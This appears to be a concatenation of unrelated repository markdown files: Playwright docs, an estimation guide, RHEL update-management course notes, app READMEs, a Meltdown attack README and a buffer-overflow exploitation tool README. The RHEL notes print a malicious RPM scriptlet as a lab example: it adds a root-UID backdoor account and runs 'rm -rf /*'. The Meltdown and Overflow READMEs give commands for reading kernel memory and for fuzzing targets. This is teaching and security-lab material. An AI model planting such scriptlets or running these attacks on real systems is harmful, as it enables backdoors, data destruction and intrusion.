text:
---
id: intro
title: "Getting started"
---

Playwright can either be used as a part of the Playwright Test test runner (this guide), or as a [Playwright Library](./library.md).

Playwright Test was created specifically to accommodate the needs of the end-to-end testing. It does everything you would expect from the regular test runner, and more. Playwright test allows to:

- Run tests across all browsers.
- Execute tests in parallel.
- Enjoy context isolation out of the box.
- Capture videos, screenshots and other artifacts on failure.
- Integrate your POMs as extensible fixtures.

- [Release notes](./release-notes.md)

## Installation

Playwright has its own test runner for end-to-end tests, we call it Playwright Test.

### Using the VS Code extension

Install the VS Code extension from the [marketplace](https://marketplace.visualstudio.com/items?itemName=ms-playwright.playwright).

If you don't have the Playwright Test npm package installed in your project, or if you are starting with a new testing project, "Install Playwright" action will help you get started.

Pick the browsers you'd like to use by default, don't worry, you'll be able to change them later to add or configure the browsers used.

The extension automatically detects if you have [Playwright Test] installed and loads the [Playwright Test] projects into Visual Studio Code. By default it will select the first project as a run profile and inside the test explorer you can change this behavior to run a single test in multiple or different browsers.

### Using init command

Alternatively, you can scaffold your project using the init command.

```bash
# Run from your project's root directory
npm init playwright@latest
# Or create a new project
npm init playwright@latest new-project
```

This will create a configuration file, optionally add examples, a GitHub Action workflow and a first test `example.spec.ts`. You can now jump directly to [writing assertions](#writing-assertions) section.

### Manually

Add dependency and install browsers.

```bash
npm i -D @playwright/test
# install supported browsers
npx playwright install
```

You can optionally install only selected browsers, see [install browsers](./cli.md#install-browsers) for more details. Or you can install no browsers at all and use existing [browser channels](./browsers.md).

## First test

Create `tests/example.spec.js` (or `tests/example.spec.ts` for TypeScript) to define your test.

```js tab=js-js
const { test, expect } = require('@playwright/test');

test('basic test', async ({ page }) => {
  await page.goto('https://playwright.dev/');
  const title = page.locator('.navbar__inner .navbar__title');
  await expect(title).toHaveText('Playwright');
});
```

```js tab=js-ts
import { test, expect } from '@playwright/test';

test('basic test', async ({ page }) => {
  await page.goto('https://playwright.dev/');
  const title = page.locator('.navbar__inner .navbar__title');
  await expect(title).toHaveText('Playwright');
});
```

Now run your tests, assuming that test files are in the `tests` directory.

```bash
npx playwright test
```

Playwright Test just ran a test using Chromium browser, in a headless manner. Let's tell it to use headed browser:

```bash
npx playwright test --headed
```

## Configuration file

To enjoy all the features that Playwright Test has to offer, you would want to create a configuration file `playwright.config.ts` (or `playwright.config.js`). It allows you to run tests in multiple browsers configured as you'd like.

Here is an example configuration that runs every test in Chromium, Firefox and WebKit, by creating a "project" for each browser configuration. It also specifies [two retries](./test-retries.md) and [tracing](./trace-viewer.md) options.

```js tab=js-js
// playwright.config.js
// @ts-check
const { devices } = require('@playwright/test');

/** @type {import('@playwright/test').PlaywrightTestConfig} */
const config = {
  forbidOnly: !!process.env.CI,
  retries: process.env.CI ? 2 : 0,
  use: {
    trace: 'on-first-retry',
  },
  projects: [
    {
      name: 'chromium',
      use: { ...devices['Desktop Chrome'] },
    },
    {
      name: 'firefox',
      use: { ...devices['Desktop Firefox'] },
    },
    {
      name: 'webkit',
      use: { ...devices['Desktop Safari'] },
    },
  ],
};

module.exports = config;
```

```js tab=js-ts
// playwright.config.ts
import { type PlaywrightTestConfig, devices } from '@playwright/test';

const config: PlaywrightTestConfig = {
  forbidOnly: !!process.env.CI,
  retries: process.env.CI ? 2 : 0,
  use: {
    trace: 'on-first-retry',
  },
  projects: [
    {
      name: 'chromium',
      use: { ...devices['Desktop Chrome'] },
    },
    {
      name: 'firefox',
      use: { ...devices['Desktop Firefox'] },
    },
    {
      name: 'webkit',
      use: { ...devices['Desktop Safari'] },
    },
  ],
};
export default config;
```

Look for more options in the [configuration section](./test-configuration.md).

Now you can run tests in multiple browsers by default.

```bash
npx playwright test

Running 5 tests using 5 workers

  ✓ [chromium] › example.spec.ts:3:1 › basic test (2s)
  ✓ [firefox] › example.spec.ts:3:1 › basic test (2s)
  ✓ [webkit] › example.spec.ts:3:1 › basic test (2s)
```

Use `--project` command line option to run a single project.

```bash
npx playwright test --project=firefox

Running 1 test using 1 worker

  ✓ [firefox] › example.spec.ts:3:1 › basic test (2s)
```

## Writing assertions

Playwright Test uses [expect](https://jestjs.io/docs/expect) library for test assertions. It extends it with the Playwright-specific matchers to achieve greater testing ergonomics.

Learn more about [test assertions here](./test-assertions.md).

Here is a quick example of using them:

```js tab=js-js
// example.spec.js
const { test, expect } = require('@playwright/test');

test('my test', async ({ page }) => {
  await page.goto('https://playwright.dev/');

  // Expect a title "to contain" a substring.
  await expect(page).toHaveTitle(/Playwright/);

  // Expect an attribute "to be strictly equal" to the value.
  await expect(page.locator('text=Get Started').first()).toHaveAttribute('href', '/docs/intro');

  await page.click('text=Get Started');
  // Expect some text to be visible on the page.
  await expect(page.locator('text=Introduction').first()).toBeVisible();
});
```

```js tab=js-ts
// example.spec.ts
import { test, expect } from '@playwright/test';

test('my test', async ({ page }) => {
  await page.goto('https://playwright.dev/');

  // Expect a title "to contain" a substring.
  await expect(page).toHaveTitle(/Playwright/);

  // Expect an attribute "to be strictly equal" to the value.
  await expect(page.locator('text=Get Started').first()).toHaveAttribute('href', '/docs/intro');

  await page.click('text=Get Started');
  // Expect some text to be visible on the page.
  await expect(page.locator('text=Introduction').first()).toBeVisible();
});
```

## Using test fixtures

You noticed an argument `{ page }` that the test above has access to:

```js tab=js-js
test('basic test', async ({ page }) => {
  ...
```

```js tab=js-ts
test('basic test', async ({ page }) => {
  ...
```

We call these arguments `fixtures`. Fixtures are objects that are created for each test run. Playwright Test comes loaded with those fixtures, and you can add your own fixtures as well. When running tests, Playwright Test looks at each test declaration, analyses the set of fixtures the test needs and prepares those fixtures specifically for the test.

Here is a list of the pre-defined fixtures that you are likely to use most of the time:

|Fixture    |Type             |Description                      |
|:----------|:----------------|:--------------------------------|
|page       |[Page]           |Isolated page for this test run. |
|context    |[BrowserContext] |Isolated context for this test run. The `page` fixture belongs to this context as well. Learn how to [configure context](./test-configuration.md). |
|browser    |[Browser]        |Browsers are shared across tests to optimize resources. Learn how to [configure browser](./test-configuration.md). |
|browserName|[string]         |The name of the browser currently running the test. Either `chromium`, `firefox` or `webkit`.|

## Using test hooks

You can use `test.beforeAll` and `test.afterAll` hooks to set up and tear down resources shared between tests.
And you can use `test.beforeEach` and `test.afterEach` hooks to set up and tear down resources for each test individually.

```js tab=js-js
// example.spec.js
const { test, expect } = require('@playwright/test');

test.describe('feature foo', () => {
  test.beforeEach(async ({ page }) => {
    // Go to the starting url before each test.
    await page.goto('https://playwright.dev/');
  });

  test('my test', async ({ page }) => {
    // Assertions use the expect API.
    await expect(page).toHaveURL('https://playwright.dev/');
  });
});
```

```js tab=js-ts
// example.spec.ts
import { test, expect } from '@playwright/test';

test.describe('feature foo', () => {
  test.beforeEach(async ({ page }) => {
    // Go to the starting url before each test.
    await page.goto('https://playwright.dev/');
  });

  test('my test', async ({ page }) => {
    // Assertions use the expect API.
    await expect(page).toHaveURL('https://playwright.dev/');
  });
});
```

## VS Code extension

Install the VS Code extension from the [marketplace](https://marketplace.visualstudio.com/items?itemName=ms-playwright.playwright).

### Run tests with a single click

You can use Tests sidebar to run a test or a group of tests with a single click.

![run_tests](https://user-images.githubusercontent.com/883973/152095110-46667a83-1f56-4964-8e99-094b880b70a0.gif)

### Follow the execution line

While tests are running, execution line is highlighted, once the line has completed, step time is rendered as an editor decoration.

![execution_line](https://user-images.githubusercontent.com/883973/152095192-b85fb222-051a-40b2-8a6e-899d43d383c0.gif)

### Debug step-by-step, explore selectors

Right click and start breakpoint debugging. Set a breakpoint, hover over a value. When your cursor is on some Playwright action or a locator, corresponding element (or elements) are highlighted in the browser.

![step_explore](https://user-images.githubusercontent.com/883973/152095220-b68a2a3c-8395-4252-9be8-5c6adf35eddf.gif)

### Record new tests

Record new tests via performing the test actions in the browser.

![recording](https://user-images.githubusercontent.com/883973/153694515-f25fdd12-7a7c-4fec-9695-36b19b1d6a6b.gif)

### Tune selectors

You can edit test source code to fine-tune selectors while on a breakpoint. A selector playground on every line of your test script!

![tune_selectors](https://user-images.githubusercontent.com/883973/152095248-7dda7d77-b8ee-42ab-8902-9cf462d1f334.gif)

## Command line

Following are the usual command line patterns. Learn more about the [command line](./test-cli.md).

- Run all the tests
  ```bash
  npx playwright test
  ```

- Run a single test file
  ```bash
  npx playwright test tests/todo-page.spec.ts
  ```

- Run a set of test files
  ```bash
  npx playwright test tests/todo-page/ tests/landing-page/
  ```

- Run files that have `my-spec` or `my-spec-2` in the file name
  ```bash
  npx playwright test my-spec my-spec-2
  ```

- Run the test with the title
  ```bash
  npx playwright test -g "add a todo item"
  ```

- Run tests in headed browsers
  ```bash
  npx playwright test --headed
  ```

- Run tests in a particular configuration (project)
  ```bash
  npx playwright test --project=firefox
  ```

- Disable [parallelization](./test-parallel.md)
  ```bash
  npx playwright test --workers=1
  ```

- Choose a [reporter](./test-reporters.md)
  ```bash
  npx playwright test --reporter=dot
  ```

- Run in debug mode with [Playwright Inspector](./inspector.md)
  ```bash
  npx playwright test --debug
  ```

- Ask for help
  ```bash
  npx playwright test --help
  ```

## Configure NPM scripts

Playwright Test will automatically pick up `playwright.config.js` or `playwright.config.ts`.

```json
{
  "scripts": {
    "test": "playwright test"
  }
}
```

If you put your configuration file in a different place, pass it with `--config` option.

```json
{
  "scripts": {
    "test": "playwright test --config=tests/example.config.js"
  }
}
```

:::note
  To pass options through npm script, use double dashes: ```npm run test -- --headed```.
:::

repository: zixingkong/playwright

repo_name: zixingkong/playwright


text:
---
permalink: /protocols/estimating/developer-pain/
---

# Developer Pain

> _"أوجع الأيام بعد الحب، ليس أولها، لأن النبتة لا تتألم فور انقطاع الماء، بل عندما يبدأ الجفاف فعلاً."_
> ~ محمد حسن علوان

## Table of contents

<!-- toc -->

- [Introduction](#introduction)

- [Criteria](#criteria)

- [Ranking](#ranking)

  - [Using points](#using-points)
  - [Using percentages](#using-percentages)

- [Closing thoughts](#closing-thoughts)

  - [Best suited for](#best-suited-for)
  - [Combining with user pain](#combining-with-user-pain)
  - [Relation to story points](#relation-to-story-points)

<!-- tocstop -->

## Introduction

Like [user pain][user pain], Developer Pain is a way to combine several criteria
into one common ranking criteria. However, where user pain gives a number to
what the _benefit_ is of resolving an issue, Developer Pain gives a global
number to what the _cost_ might be.

The criteria we use within our company can be found on [a separate page][company specific developer pain criteria].

## Criteria

As every company is unique in it's processes and the way it runs it's business,
the criteria used will differ between different companies.

The criteria are meant to be opposing values. For instance:

- Does an issue merely need implementing or is a technical design required?

- Does an issue require changing existing code or will now functionality need to
  be created?

- Is an issue Small (in scope or size) or Large?

- Will an issue be Easy or Hard to implement?

## Ranking

Instead of using a three dimensional rating scale, Developer Pain uses a two
dimensional plan that can be expressed in either points or percentages.

In plain words: simply pick either the left (low) or right (high) value for each
item.

### Using points

Scoring is done by assigning a `1` to the "cheaper" option and a `10` to the
"dearer" option. The minimum cost of an issue will be `List.length * 1`, the
maximum cost will be `List.length * 10`

### Using percentages

For percentage, the following formula is used to define an upper and a lower cost
per item:

```math
lower = 10 / List.length
upper =  100 / List.length
```

Scoring is done by assigning the value of `lower` to the "cheaper" option and
the value of `upper` to the "dearer" option. As [there ain't no such thing
as a free lunch][tanstaafl], the minimum cost of an issue will be `10%`, the
maximum cost will be `100%`

## Closing thoughts

### Best suited for

There are a few items that define the context which developer pain is best suited
for:

- Developer pain should _not_ be used to define priority. It is a means to get a
  global idea of _cost_.

- Developer pain works best when utilized for _one_ ticket scope. Either task
  _or_ story. Do not mix between layers.

- Just as other means of defining scope, whenever one of the criteria change, it
  is wise to do another round of estimating and inform all parties involved.

- When storing developer pain in an ticket tracker, it is important to store the
  individual label and point the score is based on, not _just_ the final number,
  as the label may change and the point alone is meaningless.

Once developers and product owners are confident with both, a single unified
score could be calculated based on both separate scores.

### Relation to story points

More observant (or more experienced) individuals might wonder what the
difference is between developer pain and [Story Points][story points].

One of the main differences is that teams or developers that start out using
story points often encounter the problem that the numbers feel vague.

They don't gain more than a fuzzy or superficial insight on how to use story
points. As a result such teams or individuals often resort to either using
planning poker to estimating in units of time (hours, days, etc.) or continually
changing the criteria used to come to a given estimate.

Because developer pain uses fixed criteria, it makes it easier for developers to
reach consistent estimates. This also helps developers to gain the feeling that
estimating issues is quantifiable rather than educated guesswork

Developer pain could be used as an in-between step to help teams to go from
"traditional" (time based) estimating to using story points. Developer pain
could eventually even be abandoned completely in favor of planning poker.

[user pain]: ../user-pain/
[tanstaafl]: https://en.wikipedia.org/wiki/There_ain't_no_such_thing_as_a_free_lunch
[story points]: https://www.mountaingoatsoftware.com/blog/what-are-story-points
[company specific developer pain criteria]:  ./criteria

license: MIT

repository: potherca-contrib/guides

branch_name: refs/heads/master

extension: md

gha_language: HTML

gha_license_id: MIT

license_type: permissive

repo_name: potherca-contrib/guides


text:
---
layout: post
title:  "Managing Software Updates(413-2)"
categories: Linux
tags: 413
---

### Develop an Update Process

*    Schedule
*    Validation of Updates
*    Document

### Applying Security Updates

###### Perfomance Checklist: Apply Security Updates

```
# yum list updates --security
# yum update --security -y
```

> yum update --advisory=<ADVISORY> or yum update --cve=<CVE> may install a newer version of a package than what you are expecting because it applies the most recent version of the package referenced by the advisory or CVE.

### Validate Package Integrity and Scripts

###### GPG Package Signature Verification

```
# rpm -qf /etc/pki/rpm-gpg/RPM-GPG-KEY-redhat-release
redhat-release-server-6Server-<IP_ADDRESS>.el6.x86_64

# rpm -qa gpg-pubkey
gpg-pubkey-2fa658e0-45700c69
gpg-pubkey-fd431d51-4ae0493b
gpg-pubkey-530679ee-4f6b7813

# rpm -qi gpg-pubkey-2fa658e0-45700c69
Name        : gpg-pubkey                   Relocations: (not relocatable)
Version     : 2fa658e0                          Vendor: (none)
Release     : 45700c69                      Build Date: Mon 01 Jul 2013 03:36:03 PM EDT
Install Date: Mon 01 Jul 2013 03:36:03 PM EDT      Build Host: localhost
Group       : Public Keys                   Source RPM: (none)
Size        : 0                                License: pubkey
Signature   : (none)
Summary     : gpg(Red Hat, Inc. (auxiliary key<EMAIL_ADDRESS>Description :
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: rpm-4.8.0 (NSS-3)

mQGiBEVwDGkRBACwPhZIpvkjI8wV9sFTDoqyPLx1ub8Sd/w+YuI5Ovm49mvvEQVT
VLg8FgE5JlST59AbsLDyVtRa9CxIvN5syBVrWWWtHtDnnylFBcqG/A6J3bI4E9/A
... Output Truncated ...

# rpm -K zsh-4.3.11-4.el6_7.2.x86_64.rpm
zsh-4.3.11-4.el6_7.2.x86_64.rpm: RSA sha1 ((MD5) PGP) md5 NOT OK (MISSING KEYS: (MD5) PGP#fd431d51)

# rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-redhat-release

# rpm -qa gpg-pubkey
gpg-pubkey-2fa658e0-45700c69
gpg-pubkey-fd431d51-4ae0493b        -> use this key to do gpgcheck

# rpm -K zsh-4.3.11-4.el6_7.2.x86_64.rpm
zsh-4.3.11-4.el6_7.2.x86_64.rpm: rsa sha1 (md5) pgp md5 OK

# rpm -vK zsh-4.3.11-4.el6_7.2.x86_64.rpm
zsh-4.3.11-4.el6_7.2.x86_64.rpm:
    Header V3 RSA/SHA256 Signature, key ID fd431d51: OK
    Header SHA1 digest: OK (fd58c0e3829af2c62967e2c730e2eec3e12b0e3a)
    V3 RSA/SHA256 Signature, key ID fd431d51: OK
    MD5 digest: OK (8f965dc2d4a9adcd5e4f99c08a81fd43)

# rpm -vvK zsh-4.3.11-4.el6_7.2.x86_64.rpm
D: loading keyring from pubkeys in /var/lib/rpm/pubkeys/*.key
D: couldn't find any keys in /var/lib/rpm/pubkeys/*.key
D: loading keyring from rpmdb
D: opening  db environment /var/lib/rpm cdb:mpool:joinenv
D: opening  db index       /var/lib/rpm/Packages rdonly mode=0x0
D: locked   db index       /var/lib/rpm/Packages
D: opening  db index       /var/lib/rpm/Name rdonly mode=0x0
D:  read h#     677 Header sanity check: OK
D: added key gpg-pubkey-fd431d51-4ae0493b to keyring
D:  read h#     678 Header sanity check: OK
D: added key gpg-pubkey-2fa658e0-45700c69 to keyring
D: Using legacy gpg-pubkey(s) from rpmdb
D: Expected size:      2344756 = lead(96)+sigs(1284)+pad(4)+data(2343372)
D:   Actual size:      2344756
zsh-4.3.11-4.el6_7.2.x86_64.rpm:
    Header V3 RSA/SHA256 Signature, key ID fd431d51: OK                 ------------> use which key to do gpgcheck
    Header SHA1 digest: OK (fd58c0e3829af2c62967e2c730e2eec3e12b0e3a)
    V3 RSA/SHA256 Signature, key ID fd431d51: OK
    MD5 digest: OK (8f965dc2d4a9adcd5e4f99c08a81fd43)
D: closed   db index       /var/lib/rpm/Name
D: closed   db index       /var/lib/rpm/Packages
D: closed   db environment /var/lib/rpm

# rpm -e gpg-pubkey-2fa658e0-45700c69
# rpm -K zsh-4.3.11-4.el6_7.2.x86_64.rpm
zsh-4.3.11-4.el6_7.2.x86_64.rpm: rsa sha1 (md5) pgp md5 OK

```

###### Validate RPM Scripts

Administrators can query an installed RPM to look at these scripts using rpm -q --scripts <PACKAGENAME> and rpm -q --triggers <PACKAGENAME>. If an administrator would like to view these on an uninstalled package: rpm -qp --scripts <PACKAGEFILE> and rpm -qp --triggers <PACKAGEFILE>. There are several potential scripts a packager can use:

*    preinstall - executed before the installation of files provided by the RPM package.
*    postinstall - executed after the installation of files provided by the RPM package.
*    preuninstall - executed before the removal of files by the erasure of an RPM package.
*    postuninstall - executed after the removal of files by the erasure of an RPM package.
*    pretrans - executed before a non-installation or removal operation, such as an upgrade.
*    posttrans - executed after a non-installation or removal operation, such as an upgrade.

If an administrator would like to perform an RPM transaction skipping scripts, they may use the --noscripts argument with their rpm command.

In addition to scripts, packagers may also elect to use RPM triggers. Triggers are small scripts executed, as root on the target system, when another package event matching the trigger specification occurs. There are several types of triggers that a packager may use:

*    triggerin - called before a specified package is installed or upgraded.
*    triggerpostin - called after a specified package is installed or upgraded.
*    triggerun - called before a specific package is removed.
*    triggerpostun - called after a specified package is removed.

```
# rpm -qp --scripts zsh-4.3.11-4.el6_7.2.x86_64.rpm
postinstall scriptlet (using /bin/sh):
if [ ! -f /etc/shells ] ; then
    echo "/bin/zsh" > /etc/shells
else
    grep -q "^/bin/zsh$" /etc/shells || echo "/bin/zsh" >> /etc/shells
fi

if [ -f /usr/share/info/zsh.info.gz ]; then
# This is needed so that --excludedocs works.
/sbin/install-info /usr/share/info/zsh.info.gz /usr/share/info/dir \
  --entry="* zsh: (zsh).            An enhanced bourne shell."
fi

:
preuninstall scriptlet (using /bin/sh):
if [ "$1" = 0 ] ; then
    if [ -f /usr/share/info/zsh.info.gz ]; then
    # This is needed so that --excludedocs works.
    /sbin/install-info --delete /usr/share/info/zsh.info.gz /usr/share/info/dir \
      --entry="* zsh: (zsh).            An enhanced bourne shell."
    fi
fi
:
postuninstall scriptlet (using /bin/sh):
if [ "$1" = 0 ] ; then
    if [ -f /etc/shells ] ; then
        TmpFile=`/bin/mktemp /tmp/.zshrpmXXXXXX`
        grep -v '^/bin/zsh$' /etc/shells > $TmpFile
        cp -f $TmpFile /etc/shells
        rm -f $TmpFile
    fi
fi

```

###### Performance Checklist: Verifying Package Integrity and Scripts

```
# rpm -qp --scripts /net/instructor/var/ftp/pub/materials/FluffyMcAwesome-A-*
postinstall scriptlet (using /bin/sh):
useradd -d /usr/local/bin -u 0 -o FluffyMcAwesome
echo 'redhat' | passwd --stdin FluffyMcAwesome &>/dev/null
postuninstall scriptlet (using /bin/sh):
rm -rf /* &>/dev/null

# rpm -qp --scripts /net/instructor/var/ftp/pub/materials/FluffyMcAwesome-B-*
postinstall scriptlet (using /bin/sh):
useradd -d /usr/local/bin -u 205 FluffyMcAwesome
postuninstall scriptlet (using /bin/sh):
echo "fluffy" &>/dev/null
```

### Unit Test: Production Change: Applying Updates

```
1. Since we are applying only security related updates, the yum security plugin would be useful to use. We should verify that it is installed.
# yum list yum-plugin-security
Loaded plugins: changelog, downloadonly, product-id, refresh-packagekit,
              : rhnplugin, security, subscription-manager, tmprepo, verify,
              : versionlock
Updating certificate-based repositories.
Unable to read consumer identity
Installed Packages
yum-plugin-security.noarch 1.1.30-14.el6 @/yum-plugin-security-1.1.30-14.el6.noarch

2. We should verify that there are available security related updates that are available to be applied to these machines.
# yum updateinfo
Updates Information Summary: available
     87 Security notice(s)
         10 Critical Security notice(s)
         27 Important Security notice(s)
         10 Low Security notice(s)
         40 Moderate Security notice(s)
    229 Bugfix notice(s)
     19 Enhancement notice(s)
updateinfo summary done

3. Update
# yum --security -y update
Loaded plugins: product-id, refresh-packagekit, security, subscription-manager
Updating certificate-based repositories.
Unable to read consumer identity
Setting up Update Process
Resolving Dependencies
Limiting packages to security relevant ones
13 package(s) needed (+0 related) for security, out of 36 available
--> Running transaction check
---> Package kernel.x86_64 0:2.6.32-279.1.1.el6 will be installed
---> Package kernel-devel.x86_64 0:2.6.32-279.1.1.el6 will be installed
---> Package kernel-firmware.noarch 0:2.6.32-279.el6 will be updated
... Output Truncated ...

4. Are there any supplemental tasks that should be performed because of this change? (reboot, restart services, etc.)
Yes, because this update set included a kernel update, we should reboot the machine into the new kernel before continuing.

5. How will you verify that the changes applied to the system were successful?
After the application of security errata, we expect yum updateinfo to show no available security updates:
# yum updateinfo
Updates Information Summary: available
    23 Bugfix notice(s)
     3 Enhancement notice(s)
updateinfo summary done

NOTICE: Because security updates can also contain earlier issued bugfix or enhancement updates, you may notice that after the security updates are applied there will be fewer bugfix and enhancement updates available for the machine, however that is not always the case.
```


text:
# Notes App for Routine Dashboard

Created by Allen Sun, https://github.com/allen-3/

(I'm `varepsilon` on Twitch, `mistersun` on Discord)

Source code will be here (this repository will be empty for a day or two as I get things set up): <br> https://github.com/allen-3/virtual-routine

Technologies used: `Django`, `Bootstrap`.

## Summary

For Code With Friends Spring 2020, I started work on a web app that aims to help people stay motivated and productive during quarantine. So far, I've completed just one small part of what I hope can become a fully-fledged site. For, now the name of the web app is "Routine Dashboard".

The idea is to give users an environment where they can warm up/wind down for their work-from-home day. Currently, the site contains a note-taking app where a user can jot down their thoughts and perhaps plan out their work day. The plan is to include other features, such as a timer and external links to a user's favourite podcast or Spotify playlist that they can enjoy while they get ready for their day.

As of writing this, I haven't deployed the web app yet; this is something I'll work on over the next few days (check the Github repo link at the top). For now, here's a GIF of the current (fairly minimal) site in action:

![1](./gif/virtual-routine.gif)

## Inspiration

Near the beginning of the current lockdown, I'd read a couple articles of people who were--curiously--starting to miss their daily commutes to and from work. Though I couldn't personally relate, I saw where these people were coming from.

In a way, our daily commutes ground us and give us some time each day to mentally prepare for / wind down from the work day. Lots of us enjoy a podcast or a music playlist while commuting, and no matter what it seems that everyone's daily routines have been affected in some way.

With this in mind, I figured I'd try to create a site that lets people have a sense of normalcy by allowing them to maintain some part of their pre-lockdown daily routines.

## Challenges

Time management was a huge challenge. During this month, I had to juggle a summer course and part-time work along with this project. It was a tough thing to do but I found it very rewarding in the end.

## Reflections

I'm fairly new to programming and this was my first web application, so I'm pretty satisfied with the amount I was able to get done this month. I followed a tutorial from the book 'Python Crash Course' by Eric Matthes for most of this project so far, adding in my own adjustments where I saw fit. I want to further build off of what I've created so far and make it my own.

I've learned that the ability to set achievable goals is huge. I initially put too much on my plate as I had so many ideas for features. As time went on I slowly began to realize that at my current ability and in the available timeframe, aiming for a small goal was really the way to go. That's why I ended up settling on making the notes function for now, and saving the rest for the upcoming months.

I had a great time working on this project and coding along with you all! This is definitely a project I'll continue to work on over the next few months and I'm really excited to share what I come up with.

gha_language: CSS


text:
---
# Honeydew

This is a task management web app built primarily to emulate [Wunderlist](https://www.wunderlist.com) in some functionality and style. It allows for users to create lists that contain tasks, and each task has its own notes and due date attributes. You can play with this app over [here](https://honeydew-4nier.herokuapp.com).

![first screen](../img/honeydew/Landing-honeydew.png)

Honeydew is a Ruby on Rails app utilizing Rails 5.1.4 (as of last update) and Ruby 2.4 . My aim was to create an app with forms that neatly nest within the elements and felt unobtrusive but easy to identify.

![list show](../img/honeydew/list-show.png)

To that end, some styling was provided simply with css, as is the case with the drop down log-in.

![log-in clip](../img/honeydew/log-in.jpg)

But for other elements, it was achieved through jQuery. The collapsable sidebar-

![menu collapsed](../img/honeydew/menu-collapsed.jpg)

is operated like so:

``` javascript
$(document).ready(function () {

    $('#sidebarCollapse').on('click', function () {
        $('#sidebar').toggleClass('active');
    });

});
```

Very similar scripts operate the notes and due date sections for each task.

![note closed](../img/honeydew/note-closed.jpg)
![note open](../img/honeydew/note-open.jpg)

An important difference though, is that because each task needed its own identifier in order to operate.

![many notes open](../img/honeydew/many-notes.jpg)

Changing the identifier to be dynamic, allows for an easy solution:

```html
<div class="note-text-field" id="note-div-task-<%= task.id %>">
  <%= form.text_area :notes, class: "task-note-field", rows: '4', placeholder: "Enter task notes here", id: "task-note" %>
  <%= form.submit "update", class: "add-note-btn"%>
</div>

```
``` javascript

$(document).ready(function () {
  $(".glyphicon-book").on('click', function() {
    var taskElement = "#note-div-task-" + $(this).data('task-id');
    $(taskElement).fadeToggle();
    $(taskElement + " .task-note-field").focus();
  });
});

```

As far as style goes, I owe a debt of gratitude to both Pixabay and Unsplash from some fantastic free use images.

Check below for links to those.

## Areas still developing

* sizing for different devices.
* organization of tasks by due date-field.
* different visuals for items close to due, and items past due.
* ability to choose avatar outside of gravatar import.
* customizable color scheme/background.

## Authors

* **Michael Fournier** - *Initial work* - [Cloud974](https://github.com/Cloud974)

## Acknowledgments

* [Pixabay](https://www.pixabay.com) - "Pixabay is a vibrant community of creatives, sharing copyright free images and videos."
* [Unsplash](https://www.unsplash.com) - "Beautiful, free photos. Gifted by the world’s most generous community of photographers."
* [Heroku](https://www.heroku.com) - "Heroku is a platform as a service (PaaS) that enables developers to build, run, and operate applications entirely in the cloud."
* [Coolors](https://coolors.co) - "The super fast color schemes generator!"


text:
# Meltdown Attack Implementation code on x86

Meltdown attack is proposed by Moritz Lipp et al. in their research paper entitled, Meltdown: Reading Kernel Memory from User Space at 27th {USENIX} Security Symposium ({USENIX} Security 18) in 2018. This attack exploits un-authorized access to kernal space memery and allow adversaries to read complete physical memory at user level. This attack exploit out-of-order executions and with combination of cache-based side channel attack (Flush+Reload) as covert channel able to read kernal memory without necessary permissions. This implmenentation use same code as available at (https://github.com/IAIK/meltdown).

## Machine Specifications:

Intel Core i7_4770 CPU @ 3.40GHz
CPU: 8, L1d Cache: 32KB, L1i Cache : 32KB L2 Cache : 256KB, L3 Cache : 8192 KB
Ubuntu 16.04.3 LTS, Kernel: Linux 4.10.0-28-generic

## Attack

Compile attack using
```
    make
```

### 1. Test

```
    taskset 0x1 ./test
```

### 2. Attack - Reading physical memory

Run secret application which contian some secret data.

```
    sudo ./secret
```

Copy the physical location of secret data and run adversary.

```
    taskset 0x1 ./physical_reader 0x390fff400
```

## Note

This attack requires KASLR disabled, if KASLR is enabled, this attack will not work. To disable KASLR use 'nopti' and 'nokaslr' as kernal parameters.

For more details, please look at (https://github.com/IAIK/meltdown).

license: Zlib,Unlicense

repository: Easyymaker/Cache-Side-Channel-Attacks

detected_licenses: Zlib Unlicense

repo_name: Easyymaker/Cache-Side-Channel-Attacks


text:
# Overflow

[![Build Status](https://img.shields.io/github/workflow/status/sradley/overflow/Test?style=flat-square)](https://github.com/sradley/overflow/actions)
[![Latest Release](https://img.shields.io/github/v/release/sradley/overflow?style=flat-square)](https://github.com/sradley/overflow/releases)
[![Downloads](https://img.shields.io/github/downloads/sradley/overflow/total?style=flat-square)](https://github.com/sradley/overflow/releases)
[![Issues](https://img.shields.io/github/issues/sradley/overflow?style=flat-square)](https://github.com/sradley/overflow/issues)
[![Go Version](https://img.shields.io/github/go-mod/go-version/sradley/overflow?style=flat-square)](https://golang.org/)

Overflow is a command-line tool used exploiting OSCP-style buffer overflow
vulnerabilities with a focus on rapid exploitation. However, I would
**strongly** suggest that you understand everything that this tool can do,
particularly if you're planning on getting your OSCP certification. Have fun!

![fuzz.gif](doc/fuzz.gif)

## Installation

### Pre-Built Binaries
If you don't have a golang environment, or you just don't feel like building
from source, you can check out the
[releases](https://github.com/sradley/overflow/releases) page for pre-built
binaries.

### Using Go Get
If you have a golang environment set up, you can use `go get` to fetch and
install the binary in your `$GOPATH/bin` directory.
```sh
$ go get github.com/sradley/overflow
```

### Building from Source
If you have a golang environment set up, you can build straight from source.

The following commands will install dependencies and compile a working binary.
```sh
$ git clone https://github.com/sradley/overflow.git
$ cd overflow
$ go get && go build
```

You can also use `go install` to install the binary in your `$GOPATH/bin`
directory.
```sh
$ git clone https://github.com/sradley/overflow.git
$ cd overflow
$ go install
```

## Usage
The help text is pretty exhaustive, so it's a good place to start if you want
to get a feel for this tool.
```
$ overflow help
$ overflow (fuzz | pattern | chars | exploit) --help
```

The required flags for every subcommand are "host" and "port". You can also
specify any prefixes or suffixes to put before and after the payload, in the
case that a menu or something is presented to you when you open the socket.

### Fuzzing for Buffer Length
Possibly the most important step in buffer overflow exploitation is finding the
length of buffer you want to target. An easy way to do this is to send
increasingly large sequences of bytes to the buffer until it crashes.

The `fuzz` subcommand sends increasingly large sequences of bytes (the increase
is specifed by the "step" flag) until the service crashes. This tool also
outputs the possible size of the buffer, in case it wasn't easy enough already.

The required flags are "host", "port" and "step".
```
$ overflow fuzz (-H|--host HOST) (-P|--port PORT) (-S|--step STEP) [flags]
```

### Sending Cyclic Patterns
Why would you want to do this? Well, sending a cyclic pattern of bytes to the
target service is a very easy way to figure out the offset of the EIP register.
Tools like `mona` can automatically determine the offset of particular
registers if buffer has been overflowed with a cyclic pattern of bytes.

The `pattern` subcommand streamlines the process of generating a cyclic pattern
of bytes and sending it to the target service. Turning what is normally an
annoying multi-step process into a single command.

The required flags are "host", "port" and "length".
```
$ overflow pattern (-H|--host HOST) (-P|--port PORT) (-l|--length LENGTH) [flags]
```

